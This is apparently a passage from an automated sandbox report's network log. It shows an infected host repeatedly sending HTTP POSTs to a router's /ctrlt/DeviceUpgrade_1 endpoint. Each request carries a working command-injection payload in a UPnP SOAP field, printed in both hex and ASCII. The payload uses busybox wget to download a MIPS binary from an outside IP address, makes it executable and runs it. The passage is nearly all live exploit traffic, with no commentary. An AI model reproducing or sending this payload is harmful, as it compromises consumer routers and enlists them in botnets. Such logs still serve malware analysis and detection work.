                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:21.210930109 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:36.826474905 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:08.313616991 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                285192.168.2.1540054156.241.71.21737215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:05.722410917 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:09.947115898 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:16.090945005 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:28.122737885 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:53.978032112 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:43.128592014 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
